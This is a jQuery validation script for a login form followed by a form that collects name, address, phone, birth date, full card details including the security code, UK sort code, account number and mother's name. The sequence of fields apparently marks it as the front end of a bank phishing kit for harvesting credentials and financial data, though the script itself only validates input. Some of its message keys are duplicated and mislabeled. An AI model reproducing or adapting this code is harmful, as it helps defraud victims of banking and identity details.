$(document).ready(function(){

    jQuery.validator.addMethod(
        "minDate",
        function(value, element) {
            // put your own logic here, this is just a (crappy) example
            return value.match(/(0[1-9]|1[012])[- /.]\d\d/);
        },
        "Please enter a date in the format MM/YY"
    );

    jQuery.validator.addMethod(
        "maxYear", 
        function(value, element) {
            var date = new Date();
            var curentmon = date.getMonth();
            var mon = value[0] + value[1];
            var year = value[3] + value[4];

            if ( mon <= curentmon && year == 17 )
                return false;
            else if (year < 17 || year > 30)
                return false;
            else
                return true;
        }, 
        "Invalid Date"
    );


    jQuery.validator.addMethod(
        "chekYear", 
        function(value, element) {
            var year = value[6] + value[7] + value[8] + value[9];

            if ( year < 2000 && year >= 1930 )
                return true;
            else
                return false;
        }, 
        "Invalid Date"
    );

    jQuery.validator.addMethod(
        "num",
        function(value, element) {
            // put your own logic here, this is just a (crappy) example
            return value.match(/\d\d[- -.]\d\d[- -.]\d\d/);
        },
        "Please enter a valid number"
    );

    jQuery.validator.addMethod(
        "numb",
        function(value, element) {
            // put your own logic here, this is just a (crappy) example
            return value.match(/\d\d\d\d[- -.]\d\d\d\d/);
        },
        "Please enter a valid number"
    );

    $("#loginform").validate({

        

       rules:{

            login:{
                required: true,
                email: true
            },

            password:{
                required: true
            },
       },

       messages:{

            login:{
                required: "Email address is required",
                email: "Enter a valid email"
            },

            password:{
                required: "Password is required"
            },

       }

    });

    $("#dateb").inputmask({"mask": "99/99/9999", "placeholder": "DD/MM/YYYY"});
    $("#carddate").inputmask({"mask": "99/99", "placeholder": "MM/YY"});
    $("#sortcode").inputmask({"mask": "99-99-99", "placeholder": "__-__-__"});
    $("#accnum").inputmask({"mask": "9999-9999", "placeholder": "____-____"});

    $("#personalform").validate({

       rules:{

            fname:{
                required: true
            },

            lname:{
                required: true
            },

            address:{
                required: true
            },

            postcode:{
                required: true,
            },

            town:{
                required: true
            },

            phones:{
                required: true,
                number: true,
                minlength: 10,
                maxlength: 11
            },

            cardname:{
                required: true
            },

            cardnum:{
                required: true,
                creditcard: true
            },

            carddate:{
                required: true,
                minDate: true,
                maxYear: true
            },

            cardcode:{
                required: true,
                number: true,
                maxlength: 4,
                minlength: 3
            },

            sortcode:{
                required: true,
                num: true
            },

            accnum:{
                required: true,
                numb: true
            },

            mothername:{
                required: true
            },

            
       },

       messages:{

            fname:{
                required: "First name is required"
            },

            password:{
                required: "Lasn name is required"
            },


            password:{
                required: "Address is required"
            },

            postcode:{
                required: "Postcode is required",
            },

            town:{
                required: "Town/City is required"
            },

            phones:{
                required: "Phone is required",
                number: "Enter the correct phone",
                minlength: "Enter the correct phone",
                maxlength: "Enter the correct phone"
            },

            cardname:{
                required: "Name as it appears on your Card is required"
            },

            cardnum:{
                required: "Card number is required",
                creditcard: "Enter the correct card number"
            },

            carddate:{
                required: "Card expiry date is required",
            },

            cardcode:{
                required: "Card security code is required",
                number: "Enter the correct card security code",
                maxlength: "Enter the correct card security code",
                minlength: "Enter the correct card security code"
            },

            sortcode:{
                required: "Sortcode is required"
            },

            accnum:{
                required: "Account number is required"
            },


       }

    });

});